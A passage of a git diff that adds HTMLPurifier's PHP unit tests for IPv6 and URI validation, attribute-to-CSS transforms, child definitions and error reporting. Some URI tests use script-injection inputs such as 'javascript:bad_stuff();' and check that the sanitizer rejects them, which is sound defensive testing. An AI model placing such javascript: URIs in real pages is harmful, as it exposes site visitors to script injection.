IPv4-mapped IPv6 address, compressed + $this->assertDef('2001:0DB8:0000:CD30:0000:0000:0000:0000/60'); // full, with prefix + $this->assertDef('2001:0DB8::CD30:0:0:0:0/60'); // compressed, with prefix + $this->assertDef('2001:0DB8:0:CD30::/60'); // compressed, with prefix #2 + $this->assertDef('::/128'); // compressed, unspecified address type, non-routable + $this->assertDef('::1/128'); // compressed, loopback address type, non-routable + $this->assertDef('FF00::/8'); // compressed, multicast address type + $this->assertDef('FE80::/10'); // compressed, link-local unicast, non-routable + $this->assertDef('FEC0::/10'); // compressed, site-local unicast, deprecated + + $this->assertDef('2001:DB8:0:0:8:800:200C:417A:221', false); // unicast, full + $this->assertDef('FF01::101::2', false); //multicast, compressed + $this->assertDef('', false); // nothing + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php new file mode 100644 index 00000000..1309f3c2 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php @@ -0,0 +1,170 @@ +def = new HTMLPurifier_AttrDef_URI(); + parent::setUp(); + } + + public function testIntegration() + { + $this->assertDef('http://www.google.com/'); + $this->assertDef('http:', ''); + $this->assertDef('http:/foo', '/foo'); + $this->assertDef('javascript:bad_stuff();', false); + $this->assertDef('ftp://www.example.com/'); + $this->assertDef('news:rec.alt'); + $this->assertDef('nntp://news.example.com/324234'); + $this->assertDef('mailto:bob@example.com'); + $this->assertDef('tel:+15555555555'); + $this->assertDef('tel:+15555 555 555', 'tel:+15555555555'); + $this->assertDef('tel:+15555%20555%20555', 'tel:+15555555555'); + } + + public function testIntegrationWithPercentEncoder() + { + $this->assertDef( + 'http://www.example.com/%56%fc%GJ%5%FC', + 'http://www.example.com/V%FC%25GJ%255%FC' + ); + } + + public function testPercentEncoding() + { + $this->assertDef( + 'http:colon:mercenary', + 'colon%3Amercenary' + ); + } + + public function testPercentEncodingPreserve() + { + $this->assertDef( + 'http://www.example.com/abcABC123-_.!~*()\'' + ); + } + + public function testEmbeds() + { + $this->def = new HTMLPurifier_AttrDef_URI(true); + $this->assertDef('http://sub.example.com/alas?foo=asd'); + $this->assertDef('mailto:foo@example.com', false); + } + + public function testConfigMunge() + { + $this->config->set('URI.Munge', 'http://www.google.com/url?q=%s'); + $this->assertDef( + 'http://www.example.com/', + 'http://www.google.com/url?q=http%3A%2F%2Fwww.example.com%2F' + ); + $this->assertDef('index.html'); + $this->assertDef('javascript:foobar();', false); + } + + public function testDefaultSchemeRemovedInBlank() + { + $this->assertDef('http:', ''); + } + + public function testDefaultSchemeRemovedInRelativeURI() + { + $this->assertDef('http:/foo/bar', '/foo/bar'); + } + + public function testDefaultSchemeNotRemovedInAbsoluteURI() + { + $this->assertDef('http://example.com/foo/bar'); + } + + public function testDefaultSchemeNull() + { + $this->config->set('URI.DefaultScheme', null); + $this->assertDef('foo', false); + } + + public function testAltSchemeNotRemoved() + { + $this->assertDef('mailto:this-looks-like-a-path@example.com'); + } + + public function testResolveNullSchemeAmbiguity() + { + $this->assertDef('///foo', '/foo'); + } + + public function testResolveNullSchemeDoubleAmbiguity() + { + $this->config->set('URI.Host', 'example.com'); + $this->assertDef('////foo', '//example.com//foo'); + } + + public function testURIDefinitionValidation() + { + $parser = new HTMLPurifier_URIParser(); + $uri = $parser->parse('http://example.com'); + $this->config->set('URI.DefinitionID', 'HTMLPurifier_AttrDef_URITest->testURIDefinitionValidation'); + + generate_mock_once('HTMLPurifier_URIDefinition'); + $uri_def = new HTMLPurifier_URIDefinitionMock(); + $uri_def->expectOnce('filter', array($uri, '*', '*')); + $uri_def->returns('filter', true, array($uri, '*', '*')); + $uri_def->expectOnce('postFilter', array($uri, '*', '*')); + $uri_def->returns('postFilter', true, array($uri, '*', '*')); + $uri_def->setup = true; + + // Since definitions are no longer passed by reference, we need + // to muck around with the cache to insert our mock. This is + // technically a little bad, since the cache shouldn't change + // behavior, but I don't feel too good about letting users + // overload entire definitions. + generate_mock_once('HTMLPurifier_DefinitionCache'); + $cache_mock = new HTMLPurifier_DefinitionCacheMock(); + $cache_mock->returns('get', $uri_def); + + generate_mock_once('HTMLPurifier_DefinitionCacheFactory'); + $factory_mock = new HTMLPurifier_DefinitionCacheFactoryMock(); + $old = HTMLPurifier_DefinitionCacheFactory::instance(); + HTMLPurifier_DefinitionCacheFactory::instance($factory_mock); + $factory_mock->returns('create', $cache_mock); + + $this->assertDef('http://example.com'); + + HTMLPurifier_DefinitionCacheFactory::instance($old); + } + + public function test_make() + { + $factory = new HTMLPurifier_AttrDef_URI(); + $def = $factory->make(''); + $def2 = new HTMLPurifier_AttrDef_URI(); + $this->assertIdentical($def, $def2); + + $def = $factory->make('embedded'); + $def2 = new HTMLPurifier_AttrDef_URI(true); + $this->assertIdentical($def, $def2); + } + + /* + public function test_validate_configWhitelist() + { + $this->config->set('URI.HostPolicy', 'DenyAll'); + $this->config->set('URI.HostWhitelist', array(null, 'google.com')); + + $this->assertDef('http://example.com/fo/google.com', false); + $this->assertDef('server.txt'); + $this->assertDef('ftp://www.google.com/?t=a'); + $this->assertDef('http://google.com.tricky.spamsite.net', false); + + } + */ + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php new file mode 100644 index 00000000..583cf022 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php @@ -0,0 +1,33 @@ +config = HTMLPurifier_Config::createDefault(); + $this->context = new HTMLPurifier_Context(); + } + + // cannot be used for accumulator + public function assertDef($string, $expect = true, $or_false = false) + { + // $expect can be a string or bool + $result = $this->def->validate($string, $this->config, $this->context); + if ($expect === true) { + if (!($or_false && $result === false)) { + $this->assertIdentical($string, $result); + } + } else { + if (!($or_false && $result === false)) { + $this->assertIdentical($expect, $result); + } + } + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php new file mode 100644 index 00000000..ed4f2492 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php @@ -0,0 +1,32 @@ +assertIdentical('', $def->parseCDATA('')); + $this->assertIdentical('', $def->parseCDATA("\t\n\r \t\t")); + $this->assertIdentical('foo', $def->parseCDATA("\t\n\r foo\t\t")); + $this->assertIdentical('translate to space', $def->parseCDATA("translate\nto\tspace")); + + } + + public function test_make() + { + $def = new HTMLPurifier_AttrDefTestable(); + $def2 = $def->make(''); + $this->assertIdentical($def, $def2); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php new file mode 100644 index 00000000..bc397fcd --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php @@ -0,0 +1,45 @@ +obj = new HTMLPurifier_AttrTransform_Background(); + } + + public function testEmptyInput() + { + $this->assertResult( array() ); + } + + public function testBasicTransform() + { + $this->assertResult( + array('background' => 'logo.png'), + array('style' => 'background-image:url(logo.png);') + ); + } + + public function testPrependNewCSS() + { + $this->assertResult( + array('background' => 'logo.png', 'style' => 'font-weight:bold'), + array('style' => 'background-image:url(logo.png);font-weight:bold') + ); + } + + public function testLenientTreatmentOfInvalidInput() + { + // notice that we rely on the CSS validator later to fix this invalid + // stuff + $this->assertResult( + array('background' => 'logo.png);foo:('), + array('style' => 'background-image:url(logo.png);foo:();') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php new file mode 100644 index 00000000..f3fdd2f1 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php @@ -0,0 +1,34 @@ +obj = new HTMLPurifier_AttrTransform_BdoDir(); + } + + public function testAddDefaultDir() + { + $this->assertResult( array(), array('dir' => 'ltr') ); + } + + public function testPreserveExistingDir() + { + $this->assertResult( array('dir' => 'rtl') ); + } + + public function testAlternateDefault() + { + $this->config->set('Attr.DefaultTextDir', 'rtl'); + $this->assertResult( + array(), + array('dir' => 'rtl') + ); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php new file mode 100644 index 00000000..6c2b358a --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php @@ -0,0 +1,49 @@ +obj = new HTMLPurifier_AttrTransform_BgColor(); + } + + public function testEmptyInput() + { + $this->assertResult( array() ); + } + + public function testBasicTransform() + { + $this->assertResult( + array('bgcolor' => '#000000'), + array('style' => 'background-color:#000000;') + ); + } + + public function testPrependNewCSS() + { + $this->assertResult( + array('bgcolor' => '#000000', 'style' => 'font-weight:bold'), + array('style' => 'background-color:#000000;font-weight:bold') + ); + } + + public function testLenientTreatmentOfInvalidInput() + { + // this may change when we natively support the datatype and + // validate its contents before forwarding it on + $this->assertResult( + array('bgcolor' => '#F00'), + array('style' => 'background-color:#F00;') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php new file mode 100644 index 00000000..a9830bbe --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php @@ -0,0 +1,43 @@ +obj = new HTMLPurifier_AttrTransform_BoolToCSS('foo', 'bar:3in;'); + } + + public function testEmptyInput() + { + $this->assertResult( array() ); + } + + public function testBasicTransform() + { + $this->assertResult( + array('foo' => 'foo'), + array('style' => 'bar:3in;') + ); + } + + public function testIgnoreValueOfBooleanAttribute() + { + $this->assertResult( + array('foo' => 'no'), + array('style' => 'bar:3in;') + ); + } + + public function testPrependCSS() + { + $this->assertResult( + array('foo' => 'foo', 'style' => 'background-color:#F00;'), + array('style' => 'bar:3in;background-color:#F00;') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php new file mode 100644 index 00000000..d59674d5 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php @@ -0,0 +1,43 @@ +obj = new HTMLPurifier_AttrTransform_Border(); + } + + public function testEmptyInput() + { + $this->assertResult( array() ); + } + + public function testBasicTransform() + { + $this->assertResult( + array('border' => '1'), + array('style' => 'border:1px solid;') + ); + } + + public function testLenientTreatmentOfInvalidInput() + { + $this->assertResult( + array('border' => '10%'), + array('style' => 'border:10%px solid;') + ); + } + + public function testPrependNewCSS() + { + $this->assertResult( + array('border' => '23', 'style' => 'font-weight:bold;'), + array('style' => 'border:23px solid;font-weight:bold;') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php new file mode 100644 index 00000000..e895e129 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php @@ -0,0 +1,82 @@ +obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( + 'left' => 'text-align:left;', + 'right' => 'text-align:right;' + )); + } + + public function testEmptyInput() + { + $this->assertResult( array() ); + } + + public function testPreserveArraysWithoutInterestingAttributes() + { + $this->assertResult( array('style' => 'font-weight:bold;') ); + } + + public function testConvertAlignLeft() + { + $this->assertResult( + array('align' => 'left'), + array('style' => 'text-align:left;') + ); + } + + public function testConvertAlignRight() + { + $this->assertResult( + array('align' => 'right'), + array('style' => 'text-align:right;') + ); + } + + public function testRemoveInvalidAlign() + { + $this->assertResult( + array('align' => 'invalid'), + array() + ); + } + + public function testPrependNewCSS() + { + $this->assertResult( + array('align' => 'left', 'style' => 'font-weight:bold;'), + array('style' => 'text-align:left;font-weight:bold;') + ); + + } + + public function testCaseInsensitive() + { + $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( + 'right' => 'text-align:right;' + )); + $this->assertResult( + array('align' => 'RIGHT'), + array('style' => 'text-align:right;') + ); + } + + public function testCaseSensitive() + { + $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( + 'right' => 'text-align:right;' + ), true); + $this->assertResult( + array('align' => 'RIGHT'), + array() + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php new file mode 100644 index 00000000..e1d25269 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php @@ -0,0 +1,61 @@ +obj = new HTMLPurifier_AttrTransform_ImgRequired(); + } + + public function testAddMissingAttr() + { + $this->config->set('Core.RemoveInvalidImg', false); + $this->assertResult( + array(), + array('src' => '', 'alt' => 'Invalid image') + ); + } + + public function testAlternateDefaults() + { + $this->config->set('Attr.DefaultInvalidImage', 'blank.png'); + $this->config->set('Attr.DefaultInvalidImageAlt', 'Pawned!'); + $this->config->set('Attr.DefaultImageAlt', 'not pawned'); + $this->config->set('Core.RemoveInvalidImg', false); + $this->assertResult( + array(), + array('src' => 'blank.png', 'alt' => 'Pawned!') + ); + } + + public function testGenerateAlt() + { + $this->assertResult( + array('src' => '/path/to/foobar.png'), + array('src' => '/path/to/foobar.png', 'alt' => 'foobar.png') + ); + } + + public function testAddDefaultSrc() + { + $this->config->set('Core.RemoveInvalidImg', false); + $this->assertResult( + array('alt' => 'intrigue'), + array('alt' => 'intrigue', 'src' => '') + ); + } + + public function testAddDefaultAlt() + { + $this->config->set('Attr.DefaultImageAlt', 'default'); + $this->assertResult( + array('src' => ''), + array('src' => '', 'alt' => 'default') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php new file mode 100644 index 00000000..9240f09a --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php @@ -0,0 +1,62 @@ +obj = new HTMLPurifier_AttrTransform_ImgSpace('vspace'); + } + + public function testEmptyInput() + { + $this->assertResult( array() ); + } + + public function testVerticalBasicUsage() + { + $this->assertResult( + array('vspace' => '1'), + array('style' => 'margin-top:1px;margin-bottom:1px;') + ); + } + + public function testLenientHandlingOfInvalidInput() + { + $this->assertResult( + array('vspace' => '10%'), + array('style' => 'margin-top:10%px;margin-bottom:10%px;') + ); + } + + public function testPrependNewCSS() + { + $this->assertResult( + array('vspace' => '23', 'style' => 'font-weight:bold;'), + array('style' => 'margin-top:23px;margin-bottom:23px;font-weight:bold;') + ); + } + + public function testHorizontalBasicUsage() + { + $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('hspace'); + $this->assertResult( + array('hspace' => '1'), + array('style' => 'margin-left:1px;margin-right:1px;') + ); + } + + public function testInvalidConstructionParameter() + { + $this->expectError('ispace is not valid space attribute'); + $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('ispace'); + $this->assertResult( + array('ispace' => '1'), + array() + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php new file mode 100644 index 00000000..0a87d0b9 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php @@ -0,0 +1,105 @@ +obj = new HTMLPurifier_AttrTransform_Input(); + } + + public function testEmptyInput() + { + $this->assertResult(array()); + } + + public function testInvalidCheckedWithEmpty() + { + $this->assertResult(array('checked' => 'checked'), array()); + } + + public function testInvalidCheckedWithPassword() + { + $this->assertResult(array( + 'checked' => 'checked', + 'type' => 'password' + ), array( + 'type' => 'password' + )); + } + + public function testValidCheckedWithUcCheckbox() + { + $this->assertResult(array( + 'checked' => 'checked', + 'type' => 'CHECKBOX', + 'value' => 'bar', + )); + } + + public function testInvalidMaxlength() + { + $this->assertResult(array( + 'maxlength' => '10', + 'type' => 'checkbox', + 'value' => 'foo', + ), array( + 'type' => 'checkbox', + 'value' => 'foo', + )); + } + + public function testValidMaxLength() + { + $this->assertResult(array( + 'maxlength' => '10', + )); + } + + // these two are really bad test-cases + + public function testSizeWithCheckbox() + { + $this->assertResult(array( + 'type' => 'checkbox', + 'value' => 'foo', + 'size' => '100px', + ), array( + 'type' => 'checkbox', + 'value' => 'foo', + 'size' => '100', + )); + } + + public function testSizeWithText() + { + $this->assertResult(array( + 'type' => 'password', + 'size' => '100px', // spurious value, to indicate no validation takes place + ), array( + 'type' => 'password', + 'size' => '100px', + )); + } + + public function testInvalidSrc() + { + $this->assertResult(array( + 'src' => 'img.png', + ), array()); + } + + public function testMissingValue() + { + $this->assertResult(array( + 'type' => 'checkbox', + ), array( + 'type' => 'checkbox', + 'value' => '', + )); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php new file mode 100644 index 00000000..23f3bfac --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php @@ -0,0 +1,52 @@ +obj = new HTMLPurifier_AttrTransform_Lang(); + } + + public function testEmptyInput() + { + $this->assertResult(array()); + } + + public function testCopyLangToXMLLang() + { + $this->assertResult( + array('lang' => 'en'), + array('lang' => 'en', 'xml:lang' => 'en') + ); + } + + public function testPreserveAttributes() + { + $this->assertResult( + array('src' => 'vert.png', 'lang' => 'fr'), + array('src' => 'vert.png', 'lang' => 'fr', 'xml:lang' => 'fr') + ); + } + + public function testCopyXMLLangToLang() + { + $this->assertResult( + array('xml:lang' => 'en'), + array('xml:lang' => 'en', 'lang' => 'en') + ); + } + + public function testXMLLangOverridesLang() + { + $this->assertResult( + array('lang' => 'fr', 'xml:lang' => 'de'), + array('lang' => 'de', 'xml:lang' => 'de') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php new file mode 100644 index 00000000..36bb72ea --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php @@ -0,0 +1,51 @@ +obj = new HTMLPurifier_AttrTransform_Length('width'); + } + + public function testEmptyInput() + { + $this->assertResult( array() ); + } + + public function testTransformPixel() + { + $this->assertResult( + array('width' => '10'), + array('style' => 'width:10px;') + ); + } + + public function testTransformPercentage() + { + $this->assertResult( + array('width' => '10%'), + array('style' => 'width:10%;') + ); + } + + public function testPrependNewCSS() + { + $this->assertResult( + array('width' => '10%', 'style' => 'font-weight:bold'), + array('style' => 'width:10%;font-weight:bold') + ); + } + + public function testLenientTreatmentOfInvalidInput() + { + $this->assertResult( + array('width' => 'asdf'), + array('style' => 'width:asdf;') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php new file mode 100644 index 00000000..d41ccc70 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php @@ -0,0 +1,50 @@ +obj = new HTMLPurifier_AttrTransform_NameSync(); + $this->accumulator = new HTMLPurifier_IDAccumulator(); + $this->context->register('IDAccumulator', $this->accumulator); + $this->config->set('Attr.EnableID', true); + } + + public function testEmpty() + { + $this->assertResult( array() ); + } + + public function testAllowSame() + { + $this->assertResult( + array('name' => 'free', 'id' => 'free') + ); + } + + public function testAllowDifferent() + { + $this->assertResult( + array('name' => 'tryit', 'id' => 'thisgood') + ); + } + + public function testCheckName() + { + $this->accumulator->add('notok'); + $this->assertResult( + array('name' => 'notok', 'id' => 'ok'), + array('id' => 'ok') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php new file mode 100644 index 00000000..714f4e50 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php @@ -0,0 +1,35 @@ +obj = new HTMLPurifier_AttrTransform_Name(); + } + + public function testEmpty() + { + $this->assertResult( array() ); + } + + public function testTransformNameToID() + { + $this->assertResult( + array('name' => 'free'), + array('id' => 'free') + ); + } + + public function testExistingIDOverridesName() + { + $this->assertResult( + array('name' => 'tryit', 'id' => 'tobad'), + array('id' => 'tobad') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php new file mode 100644 index 00000000..178d49c2 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php @@ -0,0 +1,14 @@ +func = 'transform'; + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php new file mode 100644 index 00000000..e2aeac76 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php @@ -0,0 +1,45 @@ +prependCSS($attr, 'style:new;'); + $this->assertIdentical(array('style' => 'style:new;'), $attr); + + $attr = array('style' => 'style:original;'); + $t->prependCSS($attr, 'style:new;'); + $this->assertIdentical(array('style' => 'style:new;style:original;'), $attr); + + $attr = array('style' => 'style:original;', 'misc' => 'un-related'); + $t->prependCSS($attr, 'style:new;'); + $this->assertIdentical(array('style' => 'style:new;style:original;', 'misc' => 'un-related'), $attr); + + } + + public function test_confiscateAttr() + { + $t = new HTMLPurifier_AttrTransformTestable(); + + $attr = array('flavor' => 'sweet'); + $this->assertIdentical('sweet', $t->confiscateAttr($attr, 'flavor')); + $this->assertIdentical(array(), $attr); + + $attr = array('flavor' => 'sweet'); + $this->assertIdentical(null, $t->confiscateAttr($attr, 'color')); + $this->assertIdentical(array('flavor' => 'sweet'), $attr); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php new file mode 100644 index 00000000..4881ac7b --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php @@ -0,0 +1,27 @@ +assertIdentical( + $types->get('CDATA'), + new HTMLPurifier_AttrDef_Text() + ); + + $this->expectError('Cannot retrieve undefined attribute type foobar'); + $types->get('foobar'); + + $this->assertIdentical( + $types->get('Enum#foo,bar'), + new HTMLPurifier_AttrDef_Enum(array('foo', 'bar')) + ); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php new file mode 100644 index 00000000..709b3ba2 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php @@ -0,0 +1,77 @@ +language = HTMLPurifier_LanguageFactory::instance()->create($config, $this->context); + $this->context->register('Locale', $this->language); + $this->collector = new HTMLPurifier_ErrorCollector($this->context); + $gen = new HTMLPurifier_Generator($config, $this->context); + $this->context->register('Generator', $gen); + } + + protected function invoke($input) + { + $validator = new HTMLPurifier_AttrValidator(); + $validator->validateToken($input, $this->config, $this->context); + } + + public function testAttributesTransformedGlobalPre() + { + $def = $this->config->getHTMLDefinition(true); + generate_mock_once('HTMLPurifier_AttrTransform'); + $transform = new HTMLPurifier_AttrTransformMock(); + $input = array('original' => 'value'); + $output = array('class' => 'value'); // must be valid + $transform->returns('transform', $output, array($input, new AnythingExpectation(), new AnythingExpectation())); + $def->info_attr_transform_pre[] = $transform; + + $token = new HTMLPurifier_Token_Start('span', $input, 1); + $this->invoke($token); + + $result = $this->collector->getRaw(); + $expect = array( + array(1, E_NOTICE, 'Attributes on transformed from original to class', array()), + ); + $this->assertIdentical($result, $expect); + } + + public function testAttributesTransformedLocalPre() + { + $this->config->set('HTML.TidyLevel', 'heavy'); + $input = array('align' => 'right'); + $output = array('style' => 'text-align:right;'); + $token = new HTMLPurifier_Token_Start('p', $input, 1); + $this->invoke($token); + $result = $this->collector->getRaw(); + $expect = array( + array(1, E_NOTICE, 'Attributes on

    transformed from align to style', array()), + ); + $this->assertIdentical($result, $expect); + } + + // too lazy to check for global post and global pre + + public function testAttributeRemoved() + { + $token = new HTMLPurifier_Token_Start('p', array('foobar' => 'right'), 1); + $this->invoke($token); + $result = $this->collector->getRaw(); + $expect = array( + array(1, E_ERROR, 'foobar attribute on

    removed', array()), + ); + $this->assertIdentical($result, $expect); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php new file mode 100644 index 00000000..1a751395 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php @@ -0,0 +1,44 @@ +obj = new HTMLPurifier_ChildDef_Chameleon( + 'b | i', // allowed only when in inline context + 'b | i | div' // allowed only when in block context + ); + $this->context->register('IsInline', $this->isInline); + } + + public function testInlineAlwaysAllowed() + { + $this->isInline = true; + $this->assertResult( + 'Allowed.' + ); + } + + public function testBlockNotAllowedInInline() + { + $this->isInline = true; + $this->assertResult( + '

    Not allowed.
    ', '' + ); + } + + public function testBlockAllowedInNonInline() + { + $this->isInline = false; + $this->assertResult( + '
    Allowed.
    ' + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php new file mode 100644 index 00000000..0094323d --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php @@ -0,0 +1,99 @@ +obj = new HTMLPurifier_ChildDef_Custom('(a,b?,c*,d+,(a,b)*)'); + + $this->assertEqual($this->obj->elements, array('a' => true, + 'b' => true, 'c' => true, 'd' => true)); + + $this->assertResult('', false); + $this->assertResult('', false); + + $this->assertResult(''); + $this->assertResult('Dobfoo'. + 'foo'); + + } + + public function testNesting() + { + $this->obj = new HTMLPurifier_ChildDef_Custom('(a,b,(c|d))+'); + $this->assertEqual($this->obj->elements, array('a' => true, + 'b' => true, 'c' => true, 'd' => true)); + $this->assertResult('', false); + $this->assertResult(''); + $this->assertResult('', false); + } + + public function testNestedEitherOr() + { + $this->obj = new HTMLPurifier_ChildDef_Custom('b,(a|(c|d))+'); + $this->assertEqual($this->obj->elements, array('a' => true, + 'b' => true, 'c' => true, 'd' => true)); + $this->assertResult('', false); + $this->assertResult(''); + $this->assertResult(''); + $this->assertResult(''); + $this->assertResult('', false); + } + + public function testNestedQuantifier() + { + $this->obj = new HTMLPurifier_ChildDef_Custom('(b,c+)*'); + $this->assertEqual($this->obj->elements, array('b' => true, 'c' => true)); + $this->assertResult(''); + $this->assertResult(''); + $this->assertResult(''); + $this->assertResult(''); + $this->assertResult('', false); + } + + public function testEitherOr() + { + $this->obj = new HTMLPurifier_ChildDef_Custom('a|b'); + $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true)); + $this->assertResult('', false); + $this->assertResult(''); + $this->assertResult(''); + $this->assertResult('', false); + + } + + public function testCommafication() + { + $this->obj = new HTMLPurifier_ChildDef_Custom('a,b'); + $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true)); + $this->assertResult(''); + $this->assertResult('', false); + + } + + public function testPcdata() + { + $this->obj = new HTMLPurifier_ChildDef_Custom('#PCDATA,a'); + $this->assertEqual($this->obj->elements, array('#PCDATA' => true, 'a' => true)); + $this->assertResult('foo'); + $this->assertResult('', false); + } + + public function testWhitespace() + { + $this->obj = new HTMLPurifier_ChildDef_Custom('a'); + $this->assertEqual($this->obj->elements, array('a' => true)); + $this->assertResult('foo', false); + $this->assertResult(''); + $this->assertResult(' '); + } + +} + +// 